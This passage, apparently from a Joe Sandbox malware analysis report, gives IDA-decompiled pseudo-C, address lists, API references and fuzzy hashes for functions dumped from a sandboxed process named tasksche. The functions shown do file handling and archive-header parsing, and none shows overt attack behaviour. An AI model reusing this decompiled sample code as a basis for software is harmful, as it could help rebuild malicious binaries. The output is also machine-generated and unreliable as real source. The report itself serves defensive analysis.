											_t44 =  *((intOrPtr*)(_t74 + 0x70)) - _t59;
											_t65 = _t53 - 1;
											_t53 = _a4;
											_t59 = _t59 + 1;
											 *((char*)((_t65 & _t44) + _v8)) =  *((intOrPtr*)(( *(_t74 + 0xe6d8) - 0x00000001 & _t44) +  *(_t74 + 0x4b34)));
										} while (_t59 <=  *(_t74 + 0xe6d8));
										goto L24;
									}
									L15:
									if(_a11 != 0 || _t53 < 0x1000000) {
										goto L10;
									} else {
										_t67 = _t74 + 0x4b34;
										_t50 =  *_t67;
										_t88 = _t50;
										if(_t50 != 0) {
											_push(_t50);
											E0041A506(_t53, _t67, _t74, _t88);
											 *_t67 =  *_t67 & 0x00000000;
										}
										_t39 = E0041254D(_t74 + 0x4b38, _t53);
										 *((char*)(_t74 + 0x4c38)) = 1;
										goto L20;
									}
								}
								_v8 = _v8 & 0x00000000;
								goto L15;
							}
							L10:
							E0041216A( &_v20);
							E0041C77F( &_v20, 0x42d504);
							goto L11;
						}
					}
				}
				return _t37;
			}

0x004126f7
0x004126fb
0x004126ff
0x00412706
0x00412706
0x0041270b
0x00412712
0x00412714
0x00412716
0x00412716
0x0041271f
0x00412727
0x0041272f
0x00412739
0x00412770
0x00412770
0x00000000
0x0041274d
0x00412754
0x00412758
0x00412774
0x0041277b
0x0041277c
0x00412785
0x0041278b
0x0041278e
0x00412790
0x004127c9
0x004127d0
0x00412837
0x00412837
0x0041283e
0x00000000
0x00412844
0x004127d8
0x004127e4
0x0041281f
0x0041281f
0x00412825
0x00412827
0x00412829
0x0041282b
0x0041282c
0x00412831
0x00412832
0x00412835
0x00000000
0x00412835
0x004127e8
0x004127ef
0x00000000
0x00000000
0x00000000
0x00000000
0x004127f1
0x004127f1
0x004127fa
0x004127ff
0x00412802
0x00412813
0x00412814
0x00412817
0x00000000
0x004127f1
0x00412792
0x00412796
0x00000000
0x004127a0
0x004127a0
0x004127a6
0x004127a8
0x004127aa
0x004127ac
0x004127ad
0x004127b2
0x004127b5
0x004127bd
0x004127c2
0x00000000
0x004127c2
0x00412796
0x0041277e
0x00000000
0x0041277e
0x0041275a
0x0041275d
0x0041276b
0x00000000
0x0041276b
0x00412739
0x0041272f
0x00412848

APIs

__CxxThrowException@8.LIBCMT ref: 0041276B
_malloc.LIBCMT ref: 00412785

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_memset.LIBCMT ref: 004127D8

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_malloc_memset
String ID:
API String ID: 3965744532-0
Opcode ID: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction ID: 1154a5c9599e5537b836a1002f89e902606abe80a59ae87693d08389c363c3d7
Opcode Fuzzy Hash: 9a5626d063f902226345b1e3bd7973a083b583a89a09867b0a04f46aed37c533
Instruction Fuzzy Hash: 05410470905745ABEB25EE38D6C47DBB7D0AF14304F20482FE5A6D3281C7B8A9E4C718

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2D7 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0040E2D7(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				intOrPtr _t20;
				void* _t25;
				void* _t26;
				void* _t39;
				void* _t45;
				intOrPtr _t47;

				_t39 = __edx;
				E0041A4DC(0x429794, _t45);
				_push(__ecx);
				E0041AAF0(0x6460);
				_push(_t26);
				 *((intOrPtr*)(_t45 - 0x10)) = _t47;
				E0041A7F7(0x44ac32, 0x42a900);
				E00410D16(0x44cc54, 0x42a570);
				E0041A7F7(0x44bc52,  *((intOrPtr*)(_t45 + 0xc)));
				E0040537E(0x443980,  *((intOrPtr*)(_t45 + 0xc)));
				_t4 = _t45 - 4;
				 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
				_t20 = 4;
				 *0x449c14 = _t20;
				 *0x449c10 = _t20;
				 *0x449c0c = _t20;
				 *0x448ad3 =  *0x441823;
				_push(0x443980);
				 *0x448b08 = 1;
				 *0x448b0b = 1;
				 *0x448ad4 =  *0x441822; // executed
				E00407150(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 1;
				E004083C0(_t45 - 0x6470, _t39,  *_t4); // executed
				 *(_t45 - 4) = 0;
				_t25 = E00407074(_t26, _t45 - 0x6470); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t25;
			}

0x0040e2d7
0x0040e2dc
0x0040e2e1
0x0040e2e7
0x0040e2ec
0x0040e2ef
0x0040e2fc
0x0040e30d
0x0040e31a
0x0040e32b
0x0040e330
0x0040e330
0x0040e336
0x0040e337
0x0040e33c
0x0040e341
0x0040e34b
0x0040e355
0x0040e35c
0x0040e363
0x0040e36a
0x0040e36f
0x0040e37a
0x0040e37e
0x0040e389
0x0040e38d
0x0040e397
0x0040e3a0

APIs

__EH_prolog.LIBCMT ref: 0040E2DC
_wcscpy.LIBCMT ref: 0040E2FC

Part of subcall function 00410D16: _wcslen.LIBCMT ref: 00410D2C
Part of subcall function 00410D16: _wcscpy.LIBCMT ref: 00410D42

_wcscpy.LIBCMT ref: 0040E31A

Part of subcall function 00407150: __EH_prolog.LIBCMT ref: 00407155

Part of subcall function 00407074: __EH_prolog.LIBCMT ref: 00407079

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_wcscpy$_wcslen
String ID:
API String ID: 2067596392-0
Opcode ID: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction ID: 34baa23ef678cdf00172776f2fc4f6da7b22e3ce89fab18911e310d79256e735
Opcode Fuzzy Hash: aa5c2ab907567c22763022a3e14260f934ba444c4f603d8b7408ac10fc9ad921
Instruction Fuzzy Hash: E7112675906294AED705EBA4AC427CD7BA0DB16318F1040AFF444A2292CFB91A90DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolder
String ID: A
API String ID: 342928826-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00401417 Relevance: 3.3, APIs: 2, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00401417(signed int* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t89;
				void* _t92;
				signed int _t96;
				signed int _t97;
				signed int _t98;
				signed int _t105;
				signed int _t106;
				signed int _t107;
				signed int _t115;
				signed int _t118;
				char* _t129;
				signed int _t130;
				signed int _t131;
				signed int _t133;
				char* _t138;
				void* _t139;
				signed int _t144;
				signed int _t145;
				void* _t175;
				signed int _t176;
				signed int* _t178;
				signed int _t179;
				signed int* _t181;
				void* _t185;

				_t172 = __edx;
				E0041A4DC(0x4294f4, _t185);
				_t181 = __ecx;
				_push(7);
				_t174 = __ecx + 0x6560;
				_push(__ecx + 0x6560);
				 *((char*)(__ecx + 0xb05c)) = 0;
				 *((char*)(__ecx + 0xb064)) = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 8))() == 7) {
					 *((intOrPtr*)(__ecx + 0xb060)) = 0;
					_t89 = E0040106A(_t174, 7);
					__eflags = _t89;
					if(_t89 == 0) {
						E00406760(_t185 - 0x1c, 0x100000);
						 *(_t185 - 4) = 0;
						_t92 =  *((intOrPtr*)( *_t181 + 0x10))();
						_t175 = _t92;
						_t144 =  *((intOrPtr*)( *_t181 + 8))( *(_t185 - 0x1c),  *((intOrPtr*)(_t185 - 0x18)) + 0xfffffff0);
						_t172 = 0;
						__eflags = _t144;
						if(_t144 <= 0) {
							L21:
							__eflags = _t181[0x2c18];
							if(_t181[0x2c18] != 0) {
								 *(_t185 - 4) =  *(_t185 - 4) | 0xffffffff;
								__eflags =  *(_t185 - 0x1c);
								if(__eflags != 0) {
									_push( *(_t185 - 0x1c));
									E0041A506(_t144, _t175, _t181, __eflags); // executed
								}
								goto L26;
							}
							__eflags =  *(_t185 - 0x1c);
							if(__eflags != 0) {
								_push( *(_t185 - 0x1c));
								E0041A506(_t144, _t175, _t181, __eflags);
							}
							goto L41;
						} else {
							goto L6;
						}
						do {
							L6:
							_t129 =  *(_t185 - 0x1c) + _t172;
							__eflags =  *_t129 - 0x52;
							if( *_t129 != 0x52) {
								goto L16;
							}
							_t130 = E0040106A(_t129, _t144 - _t172);
							__eflags = _t130;
							if(_t130 == 0) {
								goto L16;
							}
							_t181[0x2c14] = _t130;
							__eflags = _t130 - 1;
							if(_t130 != 1) {
								L18:
								_t131 = _t172 + _t175;
								_t172 =  *_t181;
								_t181[0x2c18] = _t131;
								 *((intOrPtr*)( *_t181 + 0xc))(_t131, 0, 0);
								_t133 = _t181[0x2c14];
								__eflags = _t133 - 2;
								if(_t133 == 2) {
									L20:
									_t172 =  *_t181;
									 *((intOrPtr*)( *_t181 + 8))( &(_t181[0x1958]), 7);
									goto L21;
								}
								__eflags = _t133 - 3;
								if(_t133 != 3) {
									goto L21;
								}
								goto L20;
							}
							__eflags = _t172;
							if(_t172 <= 0) {
								goto L18;
							}
							__eflags = _t175 - 0x1c;
							if(_t175 >= 0x1c) {
								goto L18;
							}
							__eflags = _t144 - 0x1f;
							if(_t144 <= 0x1f) {
								goto L18;
							}
							_t138 =  *(_t185 - 0x1c) - _t175 + 0x1c;
							__eflags =  *_t138 - 0x52;
							if( *_t138 != 0x52) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 1)) - 0x53;
							if( *((char*)(_t138 + 1)) != 0x53) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 2)) - 0x46;
							if( *((char*)(_t138 + 2)) != 0x46) {
								goto L16;
							}
							__eflags =  *((char*)(_t138 + 3)) - 0x58;
							if( *((char*)(_t138 + 3)) == 0x58) {
								goto L18;
							}
							L16:
							_t172 = _t172 + 1;
							__eflags = _t172 - _t144;
						} while (_t172 < _t144);
						goto L21;
					} else {
						_t181[0x2c14] = _t89;
						__eflags = _t89 - 1;
						if(_t89 == 1) {
							_t179 =  *_t181;
							_t139 =  *((intOrPtr*)(_t179 + 0x10))(0);
							asm("sbb edx, ebx");
							 *((intOrPtr*)(_t179 + 0xc))(_t139 - 7, __edx);
						}
						L26:
						_t96 = _t181[0x2c14];
						__eflags = _t96 - 4;
						if(_t96 != 4) {
							__eflags = _t96 - 3;
							if(_t96 != 3) {
								_t181[0x195a] = 7;
								while(1) {
									L36:
									_t97 = E0040369F(_t172, _t185);
									__eflags = _t97;
									if(_t97 == 0) {
										break;
									}
									_t98 = _t181[0x1951];
									__eflags = _t98 - 1;
									if(_t98 == 1) {
										break;
									}
									__eflags = _t181[0x1952];
									if(_t181[0x1952] == 0) {
										L35:
										E004010C0(_t181);
										continue;
									}
									__eflags = _t98 - 4;
									if(_t98 == 4) {
										break;
									}
									goto L35;
								}
								__eflags = _t181[0x2c19];
								if(_t181[0x2c19] == 0) {
									L39:
									E004010C0(_t181);
									__eflags = _t181[0x2c19];
									if(_t181[0x2c19] == 0) {
										L42:
										__eflags = _t181[0x1952];
										_t181[0x2c15] = _t181[0x1963];
										if(_t181[0x1952] == 0) {
											L44:
											E0040117B(_t185 - 0x2c, _t172, _t181);
											_t176 = _t181[0x2c10];
											_t145 = _t181[0x2c11];
											 *(_t185 - 0x14) = _t181[0x2c12];
											 *(_t185 - 0x10) = _t181[0x2c13];
											 *(_t185 - 4) = 1;
											 *(_t185 + 8) = _t181[0x1951];
											while(1) {
												_t105 = E0040369F(_t172, _t185);
												__eflags = _t105;
												if(_t105 == 0) {
													break;
												}
												_t106 = _t181[0x1951];
												__eflags = _t106 - 3;
												if(_t106 != 3) {
													__eflags = _t106 - 2;
													if(_t106 == 2) {
														__eflags = _t181[0x2c15];
														if(_t181[0x2c15] == 0) {
															L59:
															_t107 = 0;
															__eflags = 0;
															L60:
															_t181[0x2c16] = _t107;
															L61:
															_t69 = _t185 - 4;
															 *_t69 =  *(_t185 - 4) | 0xffffffff;
															__eflags =  *_t69;
															_t181[0x2c12] =  *(_t185 - 0x14);
															_t181[0x2c13] =  *(_t185 - 0x10);
															_t181[0x2c10] = _t176;
															_t181[0x2c11] = _t145;
															_t181[0x1951] =  *(_t185 + 8);
															 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t185 - 0x2c)))) + 0xc))( *((intOrPtr*)(_t185 - 0x24)),  *((intOrPtr*)(_t185 - 0x20)), 0);
															L62:
															__eflags = _t181[0x2c15];
															if(_t181[0x2c15] == 0) {
																L64:
																__eflags =  &(_t181[0x2c26]);
																E0041A7F7( &(_t181[0x2c26]),  &(_t181[7]));
																L65:
																_t115 = 1;
																L66:
																goto L67;
															}
															__eflags = _t181[0x2c16];
															if(_t181[0x2c16] == 0) {
																goto L65;
															}
															goto L64;
														}
														__eflags = _t181[0x1d9c];
														if(_t181[0x1d9c] != 0) {
															goto L59;
														}
														_t107 = 1;
														goto L60;
													}
													__eflags = _t106 - 5;
													if(_t106 == 5) {
														goto L61;
													}
													L53:
													E004010C0(_t181);
													continue;
												}
												__eflags = _t181[0x2c15];
												if(_t181[0x2c15] == 0) {
													L49:
													_t118 = 0;
													__eflags = 0;
													L50:
													_t181[0x2c16] = _t118;
													goto L53;
												}
												__eflags = _t181[0x266c];
												if(_t181[0x266c] != 0) {
													goto L49;
												}
												_t118 = 1;
												goto L50;
											}
											goto L61;
										}
										__eflags = _t181[0x2c17];
										if(_t181[0x2c17] != 0) {
											goto L62;
										}
										goto L44;
									}
									E00406376(0x19,  &(_t181[7]));
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) != 0) {
										goto L42;
									}
									L41:
									_t115 = 0;
									goto L66;
								}
								__eflags =  *(_t185 + 8);
								if( *(_t185 + 8) == 0) {
									goto L41;
								}
								goto L39;
							}
							_t178 =  &(_t181[0x1959]);
							 *((intOrPtr*)( *_t181 + 8))(_t178, 1);
							__eflags =  *_t178;
							if( *_t178 != 0) {
								goto L41;
							}
							_t181[0x195a] = 8;
							goto L36;
						}
						E00406376(0x3b,  &(_t181[7]));
						goto L41;
					}
				} else {
					_t115 = 0;
					L67:
					 *[fs:0x0] =  *((intOrPtr*)(_t185 - 0xc));
					return _t115;
				}
			}

0x00401417
0x0040141c
0x00401425
0x0040142a
0x0040142c
0x00401432
0x00401433
0x0040143a
0x00401447
0x00401456
0x0040145c
0x00401461
0x00401463
0x00401495
0x0040149e
0x004014a1
0x004014ae
0x004014b7
0x004014b9
0x004014bb
0x004014bd
0x00401550
0x00401552
0x00401558
0x00401571
0x00401575
0x00401578
0x0040157a
0x0040157d
0x00401582
0x00000000
0x00401578
0x0040155a
0x0040155d
0x00401563
0x00401566
0x0040156b
0x00000000
0x00000000
0x00000000
0x00000000
0x004014c3
0x004014c3
0x004014c6
0x004014c8
0x004014cb
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014da
0x00000000
0x00000000
0x004014dc
0x004014e2
0x004014e5
0x0040151b
0x0040151d
0x00401520
0x00401527
0x0040152d
0x00401530
0x00401536
0x00401539
0x00401540
0x00401540
0x0040154d
0x00000000
0x0040154d
0x0040153b
0x0040153e
0x00000000
0x00000000
0x00000000
0x0040153e
0x004014e7
0x004014e9
0x00000000
0x00000000
0x004014eb
0x004014ee
0x00000000
0x00000000
0x004014f0
0x004014f3
0x00000000
0x00000000
0x004014fa
0x004014fd
0x00401500
0x00000000
0x00000000
0x00401502
0x00401506
0x00000000
0x00000000
0x00401508
0x0040150c
0x00000000
0x00000000
0x0040150e
0x00401512
0x00000000
0x00000000
0x00401514
0x00401514
0x00401515
0x00401515
0x00000000
0x00401465
0x00401465
0x0040146b
0x0040146e
0x00401474
0x00401479
0x0040147f
0x00401485
0x00401485
0x00401583
0x00401583
0x00401589
0x0040158c
0x0040159e
0x004015a1
0x004015c4
0x004015f0
0x004015f0
0x004015f2
0x004015f7
0x004015f9
0x00000000
0x00000000
0x004015d0
0x004015d6
0x004015d9
0x00000000
0x00000000
0x004015db
0x004015e2
0x004015e9
0x004015eb
0x00000000
0x004015eb
0x004015e4
0x004015e7
0x00000000
0x00000000
0x00000000
0x004015e7
0x004015fb
0x00401602
0x0040160a
0x0040160c
0x00401611
0x00401618
0x00401632
0x00401632
0x0040163f
0x00401645
0x00401654
0x00401658
0x00401663
0x00401669
0x0040166f
0x00401678
0x00401681
0x00401688
0x004016ca
0x004016cc
0x004016d1
0x004016d3
0x00000000
0x00000000
0x0040168d
0x00401693
0x00401696
0x004016b9
0x004016bc
0x004016d7
0x004016de
0x004016ee
0x004016ee
0x004016ee
0x004016f0
0x004016f0
0x004016f6
0x004016fc
0x004016fc
0x004016fc
0x00401700
0x0040170e
0x0040171a
0x00401720
0x00401726
0x0040172e
0x00401731
0x00401731
0x00401738
0x00401743
0x00401747
0x0040174e
0x00401755
0x00401755
0x00401757
0x00000000
0x00401757
0x0040173a
0x00401741
0x00000000
0x00000000
0x00000000
0x00401741
0x004016e0
0x004016e7
0x00000000
0x00000000
0x004016eb
0x00000000
0x004016eb
0x004016be
0x004016c1
0x00000000
0x00000000
0x004016c3
0x004016c5
0x00000000
0x004016c5
0x00401698
0x0040169f
0x004016af
0x004016af
0x004016af
0x004016b1
0x004016b1
0x00000000
0x004016b1
0x004016a1
0x004016a8
0x00000000
0x00000000
0x004016ac
0x00000000
0x004016ac
0x00000000
0x004016d5
0x00401647
0x0040164e
0x00000000
0x00000000
0x00000000
0x0040164e
0x00401620
0x00401625
0x00401629
0x00000000
0x00000000
0x0040162b
0x0040162b
0x00000000
0x0040162b
0x00401604
0x00401608
0x00000000
0x00000000
0x00000000
0x00401608
0x004015a7
0x004015b0
0x004015b3
0x004015b6
0x00000000
0x00000000
0x004015b8
0x00000000
0x004015b8
0x00401594
0x00000000
0x00401594
0x00401449
0x00401449
0x00401758
0x0040175d
0x00401765
0x00401765

APIs

__EH_prolog.LIBCMT ref: 0040141C

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction ID: 1df30631c7f2331ab9bb659be56b51083ca38efb3ea41a431c6c341c2f7f2518
Opcode Fuzzy Hash: af860968fb5a352ec115184650dafa7935731a9a847d0e8dc47d2517750fbf99
Instruction Fuzzy Hash: D7A1A370904B44AFDB31DB38C8447ABB7E5AB45304F14482FE4A7A72E1D779A881CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 3.2, APIs: 2, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

SetWindowTextW.USER32(?,?,?,?,00000400,00000001,00000110), ref: 0040C294
SetWindowTextW.USER32(00000000,00000000,00000000,00000000,00000400,00000001,00000110), ref: 0040C30D

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: TextWindow$_wcschr
String ID:
API String ID: 1094928428-0
Opcode ID: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction ID: 46c95fab82868b9c938a6533d3e49af797eb3fa96210388a24d02bb49560b234
Opcode Fuzzy Hash: 9886efa1d7aa19233dee01def18c78a05a732e10b374928cec257c7fc49daa0d
Instruction Fuzzy Hash: 9A711671A00219EFDF10DFE8CC89AEEBBB9FB08314F048169FD15B61A0D774AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040820B Relevance: 3.1, APIs: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E0040820B(intOrPtr __ecx, signed int __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* _t47;
				void* _t50;
				signed int _t53;
				signed int _t54;
				signed int _t58;
				signed int _t63;
				signed int _t77;
				signed int* _t82;
				signed int _t85;
				void* _t97;
				intOrPtr _t101;
				void* _t103;
				void* _t106;

				_t106 = __eflags;
				_t96 = __edx;
				E0041A4DC(0x4296de, _t103);
				E0041AAF0(0xe0f4);
				_t101 = __ecx;
				_push(_t97);
				E00401822(_t103 - 0xe100, __edx, _t97, _t106,  *((intOrPtr*)(__ecx + 8)));
				_t98 = __ecx + 0x445c;
				_t77 = 0;
				 *(_t103 - 4) = 0;
				_t47 = E004088FD(_t103 - 0xe100, __ecx + 0x445c);
				_t82 = _t103 - 0xe100;
				if(_t47 == 0) {
					L18:
					 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
					E00401228(_t77, _t82, _t98); // executed
					 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
					return 0;
				}
				_t50 = E00401417(_t82, __edx, 1); // executed
				if(_t50 != 0) {
					__eflags =  *(_t103 - 0x309b);
					if( *(_t103 - 0x309b) != 0) {
						L17:
						_t82 = _t103 - 0xe100;
						goto L18;
					}
					 *((intOrPtr*)(_t103 - 0x14)) = 0;
					__eflags =  *(_t103 - 0x30ab);
					if(__eflags == 0) {
						L10:
						E004070BC(_t101, _t96, _t103, __eflags, _t103 - 0xe100);
						_t53 =  *(_t101 + 8);
						_t85 =  *(_t53 + 0x72b2) & 0x0000ffff;
						__eflags = _t85 - 0x54;
						if(_t85 == 0x54) {
							L12:
							 *((char*)(_t53 + 0x51c1)) = 1;
							L13:
							_t54 =  *(_t101 + 8);
							__eflags =  *((short*)(_t54 + 0x72b2)) - 0x49;
							if( *((short*)(_t54 + 0x72b2)) != 0x49) {
								__eflags =  *((char*)(_t54 + 0x51c1));
								_t33 =  *((char*)(_t54 + 0x51c1)) == 0;
								__eflags =  *((char*)(_t54 + 0x51c1)) == 0;
								_t54 = E004116C9((_t54 & 0xffffff00 | _t33) & 0x000000ff, (_t54 & 0xffffff00 | _t33) & 0x000000ff, _t101 + 0x445c);
							}
							E00401000(_t54);
							do {
								_t58 = E004076AA(_t101, _t96, _t103 - 0xe100, E0040369F(_t96, _t103), _t103 - 0xd); // executed
								__eflags = _t58;
							} while (_t58 != 0);
							goto L17;
						}
						__eflags = _t85 - 0x49;
						if(_t85 != 0x49) {
							goto L13;
						}
						goto L12;
					}
					_t63 = E0041A7F7(_t103 - 0x1018, _t103 - 0xe0e2);
					__eflags =  *(_t103 - 0x30a6);
					_t98 = 0x800;
					while(1) {
						E0040A8A1(_t103 - 0x1018, _t98, (_t63 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
						E004067E1(_t103 - 0x2060);
						_push(0);
						__eflags = E004096BC(_t96, _t103 - 0x1018, _t103 - 0x2060);
						if(__eflags == 0) {
							break;
						}
						_t77 = _t77 +  *((intOrPtr*)(_t103 - 0x1060));
						_t63 =  *(_t103 - 0x105c);
						asm("adc [ebp-0x14], eax");
						__eflags =  *(_t103 - 0x30a6);
					}
					 *((intOrPtr*)(_t101 + 0x2210)) =  *((intOrPtr*)(_t101 + 0x2210)) + _t77;
					asm("adc [eax+0x4], ecx");
					goto L10;
				}
				if(E0040A788(_t98, 0x42a630) != 0) {
					E004062BA(0x4335ac, 1);
				}
				goto L17;
			}

0x0040820b
0x0040820b
0x00408210
0x0040821a
0x00408221
0x00408223
0x0040822d
0x00408232
0x00408238
0x00408241
0x00408244
0x00408249
0x00408251
0x004083a6
0x004083a6
0x004083aa
0x004083b7
0x004083bf
0x004083bf
0x00408259
0x00408260
0x00408286
0x0040828c
0x004083a0
0x004083a0
0x00000000
0x004083a0
0x00408292
0x00408295
0x0040829b
0x00408321
0x0040832a
0x0040832f
0x00408332
0x00408339
0x0040833d
0x00408345
0x00408345
0x0040834c
0x0040834c
0x0040834f
0x00408357
0x00408359
0x00408366
0x00408366
0x0040836e
0x0040836e
0x00408379
0x0040837e
0x00408397
0x0040839c
0x0040839c
0x00000000
0x0040837e
0x0040833f
0x00408343
0x00000000
0x00000000
0x00000000
0x00408343
0x004082af
0x004082b4
0x004082bc
0x004082db
0x004082ea
0x004082f5
0x004082fa
0x0040830f
0x00408311
0x00000000
0x00000000
0x004082c9
0x004082cb
0x004082d1
0x004082d4
0x004082d4
0x0040831c
0x0040831e
0x00000000
0x0040831e
0x0040826f
0x0040827c
0x0040827c
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00408210

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401417: __EH_prolog.LIBCMT ref: 0040141C

_wcscpy.LIBCMT ref: 004082AF

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$_wcscpy
String ID:
API String ID: 2876264062-0
Opcode ID: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction ID: 75000dcce843433d4275637ef0618472c828e59e125cdaf0ff5f97d994d1ab7f
Opcode Fuzzy Hash: d8064b72c640e36a82a0b68421302acdf3e8c056939b4e9f8210efc5c70c758b
Instruction Fuzzy Hash: 3D41A4319002589EDB24DB50C955BEA77B8AB14304F4448FFE489B3182DB796FC8CB29

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 3.1, APIs: 2, Instructions: 104
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E004087C3(void* __ecx, intOrPtr _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				void* _t45;
				void* _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 =  *0x42a234;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
